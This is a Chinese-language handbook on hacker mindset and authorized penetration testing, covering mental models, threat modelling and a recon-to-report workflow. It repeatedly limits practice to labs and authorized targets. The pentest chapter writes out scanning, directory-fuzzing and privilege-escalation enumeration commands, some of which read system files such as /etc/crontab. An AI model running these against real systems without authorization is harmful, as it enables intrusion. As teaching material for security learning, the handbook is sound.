鼠标悬停左侧边缘显示 / 移出即隐藏
本质洞察 · 漏洞思维 · 全链路实操 · 可迁移到生活与学习
版本 v1.0 · 面向实验室/自学场景 · 一切操作仅限自有授权目标
这不是一本讲“怎么攻击”的教程,而是一本讲怎么想的手册。黑客(Hacker)的本质定义是:以极致的好奇心,深入系统的最底层,找出它与‘应有状态’之间的差异,并利用这种差异的人。这种能力可以拆成五个可以练习的零件:观察 → 假设 → 枚举 → 验证 → 利用。本手册把这五个零件教给你,并让你在真实的任务里反复磨。
本手册所有实操步骤都假设你在 自己的设备 / 自己的靶场 / 获授权目标 上进行。未经授权访问他人系统,在大多数国家(包括中国《网络安全法》《刑法》285、286条)都是违法犯罪。黑客思维的正向力量是:你能看见世界的脆弱,然后选择去修补它。详见第1章的“帽子”讨论。
大众与媒体把“黑客”等同于“罪犯”,这是误用。严格的定义来自互联网文化源头(MIT、the Jargon File):
所以“黑客的帽子的颜色”取决于授权与意图,而不是技术。思维本身是中性的:菜刀能切菜也能伤人。
问自己三句话(在心里回答即可):
三个答案是“是”,你就是白帽视角。任何一个不是,停下来问自己为什么。
戴上一顶黑帽子后,世界不再是“桌子、App、网站、银行、公司、规则”,而是:
这是本手册的中心范式,后面我们会把它升级成 IMEVA 引擎。
“不能做”通常是“还没找到方法”。逆向思维(Reverse Thinking)是黑客第一素质:把时间倒过来,把因果倒过来,把甲方乙方倒过来。
几乎所有漏洞的本质都是信任放错了地方:服务器信任了用户输入、客户端信任了服务器响应、程序信任了内存里的指针、人信任了来电号码。找漏洞,就是找“谁在信任谁,而这信任是否可以被伪造/污染/manipulate”。
不知道密码?枚举。不知道目录?枚举。不知道参数?枚举。不知道选项?枚举。枚举(Enumerate)是黑客最朴素也最强大的工具:把所有可能性列出来,然后逐个试。花在枚举上的时间,永远不会浪费。
设计者总希望用户“按预期走”;攻击者专门找“没想到的路径”:边界值、空值、超长、负数、并发、上下文切换、古老的兼容逻辑。找漏洞 = 找设计者“没想到”的地方。
安全攻防是典型的非对称对抗:攻击者只需找到一个洞;防御者必须堵住所有洞。攻击者只需一分钟,防御者要维护十年。理解了这一点,你就理解了为什么没有“绝对安全”,只有“相对更难”。
这个练习不攻击任何人,只是把“信任边界”具象化。做完十次,你看世界的眼睛就变了。
选一个手机 App,问:它想让我做什么流程?(比如:登录 → 输入验证码 → 领取优惠)。然后问:如果我不按流程走呢?直接构造请求能领到吗?未登录能看数据吗?——只做思考,不做攻击。
例如“门卫看见工牌就放行”“客服只核对手机尾号”“停车系统信任车牌识别”。每个例子写下:信任了什么?被冒充了会怎样?
第一章讲了帽子与五条世界观。这一章进一步深入:黑客大脑在生理和心理层面如何运作,什么是“攻击面思维”,面对不确定性如何决策,以及为什么说“信息”是黑客世界的硬通货。
戴上帽子之后,大脑的默认状态会切换为以下四个,这四者构成“黑客注意力”的骨架:
四个默认状态不是天赋,是习惯。每天用 15 分钟做“切换练习”(选择一个日常对象,连续从好奇→质疑→枚举→验证走一遍),两周后大脑自动进入该模式。
攻击面(Attack Surface)指系统所有可被外部触达的入口之和。攻击面思维 = 永远在脑海中维护一张“门清单”。门的类型:
| 类别 | 例子 | 攻破思路 |
|---|---|---|
| 代码入口 | API 端点、表单、序列化接口 | 改参数、注入、越权 |
| 配置入口 | 默认密码、调试开关、对外开放的管理口 | 弱口令、未授权访问 |
| 协议入口 | HTTP/HTTPS、TLS、WebSocket、RPC | 协议混淆、降级攻击 |
| 依赖入口 | 第三方库、CDN、上游 API、供应链 | 已知 CVE、投毒 |
| 人的入口 | 客服、运维、管理员、供应商 | 社工、钓鱼 |
| 物理入口 | 机房、设备、U盘、wifi 接入点 | 物理入侵、badusb |
黑客世界里的“钱”是信息:谁的密钥、谁的密码、谁的路径、谁的版本号、谁的行为模式。而“信息”在信息论里的定义恰好是“减少不确定性的东西”。因此:
用一个公式感受:不确定性剩余 = 初始不确定性 - 已收集信息。每次侦察后问自己:“我现在还缺哪块信息?”——缺的那块就是下一步要侦察的。
现实中你永远拿不到 100% 信息。黑客的做法是把决策变成“概率 × 成本”的矩阵:
| 选项 | 先验概率 | 验证成本 | 潜在收益 | 优先级 |
|---|---|---|---|---|
| 检查默认口令 | 高 | 极低 | 中 | 1 |
| 翻公开备份文件 | 中 | 低 | 高 | 2 |
| 猜 API 参数 | 中 | 低 | 中 | 3 |
| 爆破密码 | 低 | 高(易触发告警) | 高 | 4(谨慎) |
这个表就是“贝叶斯思维”的工程化:先做先验概率高、验证成本低的项;做完后用结果更新概率(后验),再看下一步。永远别按“看起来酷”的顺序做事。
第一章提到系统思考。在黑客语境里,反馈环是最常出漏的“隐形结构”:
练习:试着给你常用的 App(外卖、打车、电商)画一条“积分/优惠”闭环,标出哪个弧没有“唯一性/频次/身份”校验。
安全对抗像下棋:防御者部署 WAF → 攻击者编码绕过 → 防御者更新规则 → 攻击者换思路。理解这个“回合制”非常关键:
对个人也成立:不要试图“堵住所有漏洞”(不可能的完美主义),而是“建立检测与响应机制”(发现异常就处理)。这个思想可迁移到项目管理、理财风控、健康管理。
理解历史才知道“帽子”是什么:
启示:黑客精神的内核(好奇、分享、作品说话、突破限制)从未变过,“帽子”只是你选择的用途。
黑客能力 = 思维 × 知识 × 工具。知识会更新,工具会换代,思维是唯一能随你换赛道的能力。本章把黑客思维拆成四个可训练的底层能力:观察力、提问力、枚举力、验证力。
观察 ≠ 看。看是眼睛接收光线,观察是大脑主动检索差异。黑客的观察训练围绕三个词:异常(Anomaly)、边界(Boundary)、指纹(Fingerprint)。
| 对象 | 观察内容 | 为什么重要 |
|---|---|---|
| 网站 | 响应头、Cookie、JS 文件、报错信息、版本号、注释 | 暴露技术栈与已公开漏洞 |
| App | 权限申请列表、越权行为、本地缓存、备份文件 | 权限边界与过量数据 |
| 二进制 | 导入表、字符串、节表、加壳签名、时间戳 | 识别语言/编译器/壳 |
| 人 | 语气、称呼、时间、环境音、身份倾向 | 社工中的信任建立 |
| 流量 | 域名、SNI、Header 顺序、TLS 指纹、频率 | 识别协议与自动化流量 |
一位开发者向你求助:“我的网站打开了,但是登录接口一直 500。”下面是他的原始日志(已脱敏)。请你先自己思考 20 秒:你看到了什么异常?再点按钮对照答案。
[2025-01-01 10:00:01] ERROR 500 on POST /api/login [2025-01-01 10:00:02] ERROR 500 on POST /api/login [2025-01-01 10:00:03] ERROR 500 on POST /api/login [2025-01-01 10:00:05] ERROR 500 on POST /api/login [2025-01-01 10:00:07] ERROR 500 on POST /api/login [2025-01-01 10:00:10] ERROR 500 on POST /api/login
黑客不是“会找答案的人”,黑客是会问对问题的人。一个高质量的问题决定了一次高质量的研究。
| 层次 | 例子 | 质量 |
|---|---|---|
| 现象层 | “为什么登录不了?” | 模糊,无法行动 |
| 条件层 | “是所有人登录不了,还是只有某个账号/浏览器/IP?” | 开始可操作 |
| 机制层 | “登录失败时后端到底校验了什么?在哪一层拒绝的?” | 可行动,可假设 |
| 假设层 | “如果后端在校验密码前没有校验账号是否存在,那这个接口会不会泄露用户枚举?” | 直接导向实验 |
原始问题:“这个网站安全吗?”点击按钮看如何升级为可研究问题。
枚举就是系统性地列出并尝试所有合理可能。枚举是黑客最不需要天赋、只需要耐心和纪律的能力,但偏偏是最多新手断在这里。为什么?因为枚举总是枯燥、重复、且没有立刻的奖赏。但真正的攻击路径常常藏在第 1000 次尝试里。
| 枚举对象 | 工具/方法 | 关心的结果 |
|---|---|---|
| 子域名 | 子域名字典爆破、证书透明日志(crt.sh)、搜索引擎 | 新攻击面(test.、dev.、vpn.、admin.) |
| 目录/文件 | 目录猜解(/admin /backup /config.zip)、备份文件 | 未授权文件、源码、配置泄露 |
| 参数 | 遍历常见参数名(id、uid、user_id、role)、FUZZ 参数 | 隐藏功能、越权点 |
| 用户/账号 | 注册接口提示、密码找回流程、时间差异 | 用户枚举漏洞 |
| 端口/服务 | 端口扫描、服务版本识别 | 开放服务与已知漏洞 |
| 函数/地址空间 | 逆向中交叉引用、字符串 xref | 执行流与隐藏逻辑 |
假设接口 GET /api/user/1001 返回用户资料,/api/user/9999 返回 404。下面模拟 1 分钟内枚举 100 个 ID 的“指纹差异”。点击“开始枚举”。
说明:真实世界不可能靠肉眼观察“%7”,但差异对比(200 vs 404、时间差、报错差异)是共通的。枚举的产出不是“爆破成功”,而是发现系统在泄露信息。
观察与枚举产生假设,而假设不经过验证,一律视为“未证实”。验证力包含三件事:设计实验、控制变量、记录结论。
| 陷阱 | 描述 | 对策 |
|---|---|---|
| 巧合相关 | 两次结果不同只是网络抖动 | 重复 5 次,看稳定差异 |
| 单次成功 | 一次成功不代表可稳定复现 | 复现 3 次以上 |
| 变量污染 | 同时改了 UA 和 Cookie,分不清谁生效 | 一次只改一个变量 |
| 幸存者偏差 | 只记录了成功的实验 | 失败实验同样记录,反而更值钱 |
你怀疑“在杯子里先放冰块再倒水,比先倒水再放冰更容易溢出”。请依次点击按钮,把“验证流程”排对顺序。
第二章的四力是骨架,本章给每力加肉:具体方法论、练习工具、常见误区与进阶技巧。
新手观察看“表面”,老手观察看“结构”。三层观察法:
练习工具:观察日志。每天记录 3 条“事实-模式-结构”三元组。例如:
事实:登录失败返回 401,响应体 {error: "bad credentials"} 耗时 1.8s。
模式:用户名不存在时耗时 0.3s,密码错误时 1.8s。
结构:后端先查用户再比对密码(先快后慢)→ 存在用户枚举。
把提问从“陈述式”升级为“反事实式”(Counterfactual)。反事实提问是科学发现的核心:
| 普通提问 | 反事实提问 | 研究价值 |
|---|---|---|
| 这个接口安全吗? | 如果不校验角色,会发生什么? | 直接定位缺失检查 |
| 密码加密了吗? | 如果数据库泄露,密码能否被还原? | 评估加密强度 |
| 这个系统能防攻击吗? | 如果 WAF 规则被绕过,下一道防线是什么? | 找出纵深防御缺口 |
提问五步法:① 描述现象 → ② 问“如果…呢”(反事实)→ ③ 问“在什么条件下成立”→ ④ 问“证据是什么”→ ⑤ 问“最小实验是什么”。这五步其实是一次科学论文的隐含结构,练熟后你就从“看热闹”变成“看门道”。
高手的枚举有三个特征:分层、加权、止损。
进阶工具:理解你的字典才有战斗力。打开 SecLists 的一个字典文件,分析它的结构(为什么这些词?按什么顺序?),这比背工具命令有用一百倍。
验证力终极检验:把你的“验证结论”告诉另一个做安全的朋友,看他能否直接照做、得到同样结论。如果他需要问问题,说明你的记录有歧义。
以“拿到一个新的目标域名(授权的)”为例,四力如何协作:
注意循环:验证结果会生成新问题,新问题带新枚举。侦察不是线性流程,是螺旋上升。
四力训练非常消耗认知资源。科学的训练节奏:
第一批 12 个模型是“主干”,这一批 12 个是“分支”,覆盖攻防架构、威胁建模、取证、社工与创新。
本质:把复杂问题拆到不可再拆的基本事实,再从事实重新构建,而不是依赖类比或惯例。
步骤:① 不接受的现状是什么?→ ② 把它拆成“原子问题”→ ③ 回答每个原子问题的基本事实 → ④ 从事实重新推导方案。
黑客案例:为什么登录要密码?因为服务器要验证你是谁。那从“验证身份”这一事实出发,所有认证方案(密码、OTP、生物、证书、WebAuthn)都是可选解,有些比密码更安全。以此评估“改密流程是否多余”。
生活案例:减肥的本质是能量缺口,不是“某种神奇饮食”。从事实出发设计,少吃 300 卡 + 走路,比跟风节食有效。
本质:系统在“什么都不做”的状态下应该是安全的,而不是依赖用户做对。
步骤:① 列出系统的默认配置 → ② 问“默认配置下,风险是什么”→ ③ 把最危险的默认改成“默认拒绝、最小暴露”。
黑客案例:IoT 路由器的默认口令 admin/admin 是灾难;修复 = 首次使用强制改密。同理,云存储桶默认公有读=数据泄露;修复 = 默认私有。
生活案例:默认公开自己的社交主页 = 默认泄露位置;改成“默认仅好友可见”。
本质:不依赖单点防御,而是叠加多层,任何一层被突破,下一层仍能阻挡或检测。
步骤:① 画出数据/功能的完整路径 → ② 在每层放防御(边界→传输→应用→数据→人)→ ③ 每层要有“检测”不只“预防”。
黑客案例:Web 应用:WAF(边界)+ TLS(传输)+ 参数化查询(应用)+ 数据库最小权限(数据)+ 离线备份(灾难恢复)。突破 WAF 还有参数化查询兜底。
生活案例:账号安全:强密码(第一层)+ 2FA(第二层)+ 独立邮箱(第三层)+ 监控通知(检测层)。
本质:任何主体(用户/进程/脚本)只拥有完成当前任务所需的最小权限,用完即回收。
步骤:① 列出每个主体的任务 → ② 问“完成它到底需要什么权限”→ ③ 削减到刚好够用 → ④ 定期审计。
黑客案例:数据库账号不该用 root 跑 Web 应用;应用应该只用 SELECT/INSERT 的最小权限账号。这样即使 SQLi 被利用,攻击者也拿不到整库。
生活案例:给 App 授权最小权限(不需要通讯录的就别给);给家政服务只开需要的门。
本质:在攻击发生前,系统性地枚举“系统可能以什么方式被威胁”,而不是零散地等漏洞。
STRIDE 六类威胁:Spoofing(伪装)、Tampering(篡改)、Repudiation(抵赖)、Information Disclosure(信息泄露)、Denial of Service(拒绝服务)、Elevation of Privilege(权限提升)。
步骤:① 画数据流图(DFD):实体、处理、数据流、信任边界 → ② 对每个数据流/处理问 STRIDE 六问 → ③ 按风险排序 → ④ 为高风险项设计缓解。
应用案例:登录接口:伪装(伪造用户)→ 用 2FA/绑定设备;篡改(改密码请求)→ TLS + 签名;抵赖(用户否认下单)→ 审计日志;泄露(响应返回太多字段)→ 最小化响应字段;DOS(爆破)→ 限流;提权(从普通用户变管理员)→ 服务端角色校验。
本质:把“最终目标”自顶向下分解成“达成它的所有子路径”,形成一棵树,系统化找路。
步骤:① 根节点写最终目标(读取数据库)→ ② 分解为子目标(拿 Web 权限/进内网/读备份)→ ③ 每个子目标继续分解(SQLi/弱口令/SSRF)→ ④ 叶节点即“可执行攻击”。
实践:攻击树让红队报告结构清晰,也让蓝队据此做“防御树”(对每个叶节点放检测)。
本质:红队想“如何突破”,蓝队想“如何发现与响应”。两者是阴阳关系。
| 维度 | 红队 | 蓝队 |
|---|---|---|
| 目标 | 获取权限/数据 | 检测、阻止、响应、恢复 |
| 时间 | 单向推进 | 持续监控 |
| 产出 | PoC、攻击路径、报告 | 规则、日志、流程、预案 |
| 核心能力 | 想象力+技术 | 观察力+分析+沟通 |
学习建议:先红后蓝,但很快要双修:红队不懂蓝队检测 = 一跑就被发现;蓝队不懂红队手法 = 不知堵哪。
本质:像侦探一样把“事后现场”还原成“时间线 + 因果链”,并保证证据链可用。
步骤:① 保全现场(先镜像、不要改原件)→ ② 时间线重建(日志、文件时间、网络流)→ ③ 假设谁做了什么 → ④ 用交叉证据验证(日志 + 文件时间 + 流量互证)→ ⑤ 输出可追溯报告。
应用:无论是应急响应(网站被挂马)还是生活(“我手机为什么被扣费”),取证思维都能把“乱成一团”梳理成“清晰因果”。
本质:人类也是系统,也有输入(语言/图片/权威)、处理(信任判断)、输出(行动)。社工就是利用“人机接口”的漏洞。
六种权威信号(影响力武器):互惠、承诺一致、社会认同、权威、稀缺、好感。骗子用“稀缺”(限时优惠)、“权威”(冒充客服/警察)、“社会认同”(很多人都在做)。
防御迁移:识别这些信号 = 识别骗局。任何灌输“紧急+权威+独家”的组合都先踩刹车。
本质:从“结果/产物”反推“过程/设计”,用于一切未知系统。
步骤:① 看壳(识别格式/技术栈)→ ② 找入口(字符串/交叉引用/中断点)→ ③ 还原数据流 → ④ 还原算法/判断 → ⑤ 用脚本复现验证。
生活延伸:看到一个爆款产品,拆它的“用户路径-价值点-打法”;看到一篇好文章,拆它的“结构-论点-用词”。逆向思维让你从“消费者”变“制造者”。
本质:把限制当成“待绕过的检查”,把“不可能”当成“假设未验证”。
步骤:① 写下“不可能”的原因 → ② 把每个原因转成“如果…呢”→ ③ 找最小实验验证最可能被推翻的原因 → ④ 迭代。
例子:创业领域:平台不让你直接拿到用户数据(限制)→ 用“用户自愿导入”的方式绕过(Dropbox 早期通过邀请链接增长)。安全领域:WAF 拦截关键字(限制)→ 用编码/分块传输绕过(经典 WAF bypass)。
本质:不止要“不受损失”,还要从波动、攻击、错误中变得更强。
步骤:① 主动暴露在可控的小风险中 → ② 每次失败都提取“可复用教训”→ ③ 建立冗余与韧性(备份、演练)→ ④ 把“波动”当成训练。
安全中的应用:红队演练、事故复盘、表杀毒误报分析——每次被攻击/被发现的经历都让防御更强。“从攻击中学,比从书本中学快十倍”。
| 模型 | 一句话 | 场景 |
|---|---|---|
| 第一性原理 | 拆到原子再重建 | 创新/评估方案 |
| 安全默认 | 默认就该安全 | 配置审计 |
| 纵深防御 | 不同层叠加 | 防御设计 |
| 最小权限 | 刚好够用 | 权限审计 |
| STRIDE | 六类威胁枚举 | 威胁建模 |
| 攻击树 | 目标→子路径 | 红队路径 |
| 红蓝思维 | 突破 vs 检测 | 攻防角色 |
| 取证思维 | 现场→时间线 | 应急/复盘 |
| 社工思维 | 人是接口 | 防骗/培训 |
| 逆向思维 | 结果推设计 | 一切“怎么做成” |
| 创新黑客 | 限制=可绕过 | 创新/对抗 |
| 反脆弱 | 波动让人更强 | 长期成长 |
下面的每个模型都遵循统一格式:一句话本质 → 适用场景 → 操作步骤 → 生活案例 → 黑客案例 → 避坑。复制到你的“思维武器库”里。
一句话本质:把最终目标搬到起点,从终点倒推路径。
适用场景:找注册码算法、还原被删除的数据、设计挽回方案、看懂别人为什么这样做。
操作步骤:① 明确终点(我想要什么?)→ ② 列出所有可能路径 → ③ 选最不直观但最可能的一条 → ④ 全局倒推验证 → ⑤ 用正向方式复述核对。
生活案例:想减肥,正向是“少吃多动”,逆向是“如果我已经瘦了,我的一天是怎么过的?”——从结果反推每日行为清单。
黑客案例:拿到一个软件,不读它的帮助文档,逆向它:看它调用了什么函数、生成了什么文件、连了哪些地址,直接推它的完整行为。
一句话本质:画出“谁信任谁”,再问“信任是否可以被伪造/污染”。
适用场景:审计认证/授权/支付/会话/门禁/客服流程。
操作步骤:① 列出实体(人/客户端/服务器/第三方)→ ② 标出信任箭头 → ③ 对每个箭头问:信任的证据是什么?能被伪造吗?→ ④ 找出最脆弱的箭头 → ⑤ 尝试绕过/污染(在授权环境)。
生活案例:快递柜信任“取件码”,但取件码通过短信发送——如果手机被临时获取,信任链断裂。
黑客案例:JWT(JSON Web Token)被服务器信任,但如果密钥是弱密钥(如 “secret”),攻击者能自签任意 token 冒充任意用户。
一句话本质:把有限可能性全部列出来,逐个测试,绝不猜测一个就停。
适用场景:不知道密码/参数/路径/账号/flag/选项时。
操作步骤:① 定义候选空间 → ② 生成字典/规则 → ③ 按策略批量测试(注意速率)→ ④ 观察差异(指纹)→ ⑤ 锁定时缩小范围再枚举。
生活案例:钥匙丢了,先按“可能放过的 5 个地方”逐一找,而不是随机翻。
黑客案例:不知道目标 Store 的目录结构,用目录字典(如 dirsearch)枚举 /admin、/api、/backup 等路径,发现备份文件泄露。
一句话本质:把“搜索模式”换成“实验模式”:每个想法都是一个可证伪的假设。
适用场景:复杂问题定位、漏洞研究、SRC 挖洞、调试。
操作步骤:① 写下 3-5 个假设(按可能性排序)→ ② 选影响最大、验证成本最低的一个 → ③ 设计对照实验 → ④ 记录结果 → ⑤ 用结果修剪假设列表。
生活案例:电脑很慢,假设排序:内存不足 > 后台软件 > 病毒 > 硬盘老化。先验证内存(打开任务管理器看占用)。
黑客案例:怀疑某接口存在越权(IDOR),假设:GET /api/order/123 换成 124 会看到别人订单。验证方法:在自有测试账号/靶场上执行,观察返回。结论只来自实验记录。
一句话本质:设计者只保护“预期”,攻击者专找“没想到的边界值/组合/顺序”。
适用场景:找输入校验漏洞、业务逻辑漏洞、时序漏洞。
操作步骤:① 列出该功能的所有输入(参数/字段/步骤)→ ② 列出默认默认值/边界值/空值/负值/超长/特殊字符 → ③ 把输入顺序打乱、多次提交、并发提交 → ④ 观察校验是否被绕过 → ⑤ 记录每一处“设计者没想到”的状态。
生活案例:优惠券“满100减20”,你拆成两单每单 50?设计者预期的是“一单一结算”,没预期拆分。
黑客案例:支付接口只校验前端传的价格字段,攻击者把 price 改成 0.01 提交——服务器没做二次校验,被“最大惊讶”击中。
一句话本质:任何系统都是分层堆栈;漏洞通常在最弱层,而不是最炫层。
适用场景:渗透测试选路径、架构评估、学习路线。
操作步骤:① 画出堆栈(人→UI→API→应用→OS→网络→物理)→ ② 对每层问:这一层有什么信任、输入、接口?→ ③ 评估每层成本:攻破它需要多少资源?→ ④ 选“成本最低/收益最高”的层先试 → ⑤ 走通后记录层的边界。
生活案例:家里安全,强盗可能:撬门(物理)→ 翻窗 → 骗保姆(人)→ 用万能钥匙(门锁厂商漏洞)。先评估哪条最便宜。
黑客案例:Web 应用有 WAF(网络层)保护,但管理员用弱密码(人层)——从 SSH 爆破/社工入手比绕 WAF 便宜得多。
一句话本质:在能解释现象的解释中,选最简单的那个优先验证。
适用场景:debug、鉴定样本、写报告、做决策。
操作步骤:① 列出所有可能解释 → ② 用常识/证据给每个解释排序 → ③ 先验证最简单的 → ④ 若失败再逐步复杂。
生活案例:Wi-Fi 突然断了,最简单的解释是“路由器电源松了”,别一上来怀疑被黑客入侵。
黑客案例:网站被改页面,先看是不是 备份还原错误/缓存残留,再怀疑被入侵;但被入侵可能性高时,按安全应急流程处理。
一句话本质:一切对抗都是投入(成本)与回报(收益)的博弈;找“性价比最高”的那条路。
适用场景:选择攻击/防御策略、投资方向、时间管理。
操作步骤:① 列出候选方案 → ② 估算每个方案的“成本(时间/金钱/风险/法律)” → ③ 估算“收益(数据/控制权/机会/学习)” → ④ 用 收益/成本 排序 → ⑤ 选择并复盘。
生活案例:想学新技能,比较“报班 5000 元 vs 自学 60 小时”的成本收益。
黑客案例:已知目标装了卡巴斯基,直接写 0day 成本极高;改从人层入手(钓鱼/口令)成本低得多。
一句话本质:把 A 领域的经验迁移到 B 领域——安全与生活通用的超能力。
适用场景:学新框架、理解新漏洞、向他人解释安全。
操作步骤:① 抽取 A 领域的“结构”而非表面 → ② 找 B 领域相同结构 → ③ 把规则翻译过去 → ④ 小范围验证再推广。
生活案例:钥匙=密码、锁=认证、门=访问控制;理解了门的逻辑,就理解了访问控制。
黑客案例:信任边界分析本是系统架构概念,迁移到社工:骗子让你“信任”号码、AI、截图,和系统信任输入是同一结构。
一句话本质:关注“关系和反馈”,而不是“孤立的零件”。
适用场景:架构审计、应急响应、业务逻辑漏洞、组织优化。
操作步骤:① 画系统的“元素-关系-反馈环” → ② 找到延迟(lag)和杠杆点 → ③ 问“改动 A 会连锁影响 B/C 吗” → ④ 用小步实验验证 → ⑤ 记录涌现行为。
生活案例:健身计划:训练→疲劳→恢复→更强;加“睡眠”变量,反馈环改变。
黑客案例:业务逻辑漏洞常在“多个步骤的组合”:注册→领券→下单→退款,每一步单独看都安全,组合起来就有套利空间。
一句话本质:站在对手的位置,用对手的目标反推他会在哪里下手。
适用场景:安全评估、谈判、博弈、防诈骗。
操作步骤:① 定义对手目标(钱?数据?破坏?)→ ② 画出对手的资源与限制 → ③ 问“我是对手,我会选哪条路径” → ④ 把路径列出来并优先防御/验证 → ⑤ 定期重演(对手也在学习)。
生活案例:防电信诈骗:诈骗者的目标是快速骗到钱;所以凡是要你“立刻转账”的,都符合对手脚本。识别脚本 = 识破对手。
黑客案例:蓝队(防御)假设自己是攻击者,用红队思维在授权范围内演练,找出最可能被攻击的入口并提前加固。
一句话本质:不追求一步到位,用“小步快跑、持续反馈”逼近答案。
适用场景:逆向未知格式、模糊测试、渗透测试、学习新技能。
操作步骤:① 做一次最小尝试 → ② 观察反馈 → ③ 修正假设 → ④ 再做最小尝试 → ⑤ 直到可复现的稳定结果。
生活案例:学做菜,每次只改一个调料,通过试吃反馈迭代。
黑客案例:逆向一个自定义加密协议:先抓包,猜 key 是 4 字节还是 8 字节,用已知明文对照,逐步缩小范围。
| 模型 | 一句话 | 用在哪 |
|---|---|---|
| 逆向 | 从终点倒推 | 所有“怎么做成的”问题 |
| 信任边界 | 信任可被伪造吗 | 认证/授权/支付 |
| 枚举 | 把可能性榨干 | 未知输入/路径/账号 |
| 假设驱动 | 每个想法都是实验 | 定位/挖洞 |
| 反惊讶 | 找“想不到”的输入 | 边界值/逻辑漏洞 |
| 分层 | 最弱层最便宜 | 选路径/评估 |
| 奥卡姆 | 先验证最简单的 | debug/决策 |
| 成本收益 | 收益/成本排序 | 选策略/投资 |
| 类比迁移 | 结构跨领域搬 | 学新东西 |
| 系统思考 | 关系和反馈 | 逻辑漏洞/架构 |
| 对手视角 | 我是对手怎么打 | 攻防/防骗 |
| 迭代逼近 | 小步快跑反馈 | 逆向/模糊测试 |
任何具体场景下,都可以用这张“决策路线图”快速定位该用哪个模型、哪个阶段、哪个工具。
遇到一个对象(程序/网站/问题/人)
│
├─ 我想理解它 → 用“输入-处理-输出”画图(系统视角)
│ └─ 追问:谁信任谁?(信任边界)→ 哪里最弱?(分层)
│
├─ 我想找到它的漏洞/短板 → 走 IMEVA 五步
│ ├─ I 输入:列出所有输入点
│ ├─ M 测绘:画攻击面与信任边界
│ ├─ E 枚举:字典/边界/组合/时序(反惊讶)
│ ├─ V 验证:对照实验,一次一变量,重复5次
│ └─ A 利用/评估:最小PoC→影响→报告
│
├─ 我想判断该走哪条路 → 用“概率×成本”矩阵(贝叶斯)
│ └─ 先验概率高、验证成本低的先做
│
├─ 我想选择是否该行动 → 帽子自检(授权/无害/可署名)
│ └─ 三否 → 停下来
│
└─ 我想长期变强 → 反脆弱循环
└─ 复盘:失败→教训→补丁→再次尝试
| 目的 | 主模型 | 辅助模型 |
|---|---|---|
| 理解一个系统 | 系统思考/分层 | 逆向思维、输入-处理-输出 |
| 找漏洞 | IMEVA + 反惊讶 | 信任边界、枚举 |
| 防骗/评估风险 | 对手视角 + 信任边界 | 成本收益、分层 |
| 做决策 | 成本收益 + 贝叶斯 | 奥卡姆、迭代逼近 |
| 学习新事物 | 类比迁移 | 逆向思维、费曼输出 |
| 从失败中成长 | 反脆弱 + 取证思维 | 系统思考 |
| 状态码 | 含义 | 安全视角 |
|---|---|---|
| 200 | 成功 | 可能存在内容 |
| 301/302 | 重定向 | 看 Location,可能是新攻击面 |
| 401 | 未认证 | 有认证,试绕过/弱口令 |
| 403 | 无权限 | 有访问控制,试目录穿越/角色绕过 |
| 404 | 未找到 | 常规;但框架可能对所有路径返回,需对比 |
| 405 | 方法不允许 | 试其他 HTTP 方法(PUT/DELETE/OPTIONS) |
| 500 | 服务器错误 | 往往伴随报错信息,是侦察宝库 |
IMEVA 是把前面四个底层能力(观察/假设/枚举/验证)与模型库组装成的一套可重复执行的漏洞研究方法。五个字母:Input(输入)→ Map(测绘)→ Enumerate(枚举)→ Verify(验证)→ Abuse(利用/评估)。
本质:先搞清楚“这个系统吃了什么”。所有漏洞都发生在输入上。
本质:给自己画一张“攻击面地图”,避免在不知道全貌时乱撞。
用户 → 前端 → API 网关 → 应用服务 → 数据库/文件/第三方。本质:对测绘出的每一个点,系统性列出可能性并测试。
本质:把枚举到的“信号”变成“可复现结论”。
本质:把已验证的漏洞转化为“影响说明”,而不是停留在“理论上可以”。
| 阶段 | 一句话 | 产出 |
|---|---|---|
| I | 系统吃了什么? | 输入点清单 |
| M | 系统长什么样? | 攻击面地图 |
| E | 每种可能是真的吗? | 信号列表 |
| V | 信号是结论吗? | 可复现结论 |
| A | 影响多大? | PoC + 报告 |
第 4 章讲了 IMEVA 流水线,这一章把它放进三个完整场景里跑一遍:Web 越权、移动端逆向、以及一次应急响应。每个场景都给出“每阶段具体做什么”的可执行清单。
目标:一个教学靶场(或你有两个测试账号的授权站点),发现用户能查看自己的订单。假设你收到线索:GET /api/orders/1001 返回订单详情。
目标:一个你拥有的测试 APK,怀疑里面有未开放的调试接口或隐藏开关。
目标:你管理的官网首页出现恶意内容。用取证思维处理:先保全,再分析,再修复,再复盘。
| 阶段 | 我做了什么 | 我漏了什么 | 下次改进 |
|---|---|---|---|
| I | |||
| M | |||
| E | |||
| V | |||
| A |
空白表 | 示例:E 阶段漏了“用例边界值(空 id、超长 id)”——下次先试空/边界再遍历。
这一章是 IMEVA 在“完整渗透测试”上的展开。每阶段都给了:目标、步骤、常用命令、输出、避坑。所有命令示例都假设你在 自有靶场/授权目标 上执行。
在不接触目标的情况下(被动侦察),收集“公开信息画布”,为后续动作铺路。
资产清单、技术栈指纹、潜在入口清单。
主动探测目标暴露的服务与版本,形成“服务清单”。
nmap -sV -sC -T4 -O 192.168.1.10 nmap -p- --min-rate 1000 192.168.1.10 whatweb http://192.168.1.10
从“服务清单”中榨取更多细节:目录、参数、用户、功能点。
/api/xxx 路径。dirsearch -u http://192.168.1.10 -e php,html,txt -w /usr/share/seclists/Discovery/Web-Content/common.txt ffuf -u http://192.168.1.10/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api.txt -mc 200,301
把已验证的漏洞变成“有效影响”,但只做授权范围内、最小化的证明。
| 漏洞类型 | 一句话原理 | 常见标志 |
|---|---|---|
| SQL 注入 | 输入直接拼进 SQL 查询 | 报错含 SQL 语法、URL 参数可控 |
| XSS | 输入未过滤渲染进 HTML/JS | 输入回显在页面,可执行脚本 |
| IDOR/越权 | 不验证“对象归属” | ID 序号可改,返回他人数据 |
| SSRF | 服务器替我访问内网 | URL/图片/文档解析参数可控 |
| 命令注入 | 输入拼进系统命令 | ping/解析/下载功能回显命令输出 |
| 文件上传 | 上传文件未校验类型/路径 | 上传后可访问或执行 |
从“普通用户/低权限 shell”提升为“更高权限”,从而扩大影响。仅授权环境。
id; sudo -l; find / -perm -4000 2>/dev/null | head -50 uname -a; cat /etc/os-release; cat /etc/crontab powershell -c "whoami /priv; Get-Process"
在授权内网中,从一台机器到另一台,寻找更有价值的目标(域控、数据库、敏感文件)。
把发现变成可修复、可决策的报告——报告才是渗透测试的“最终交付物”。
[高危] 水平越权(IDOR)— /api/order/:id
影响:任意登录用户可读取他人订单(含收货地址、手机号)
复现:1) 登录测试账号A 2) GET /api/order/1001 返回自己的订单
3) 改为 /api/order/1002 返回他人订单
证据:请求+响应截图,时间 2025-01-02 15:30
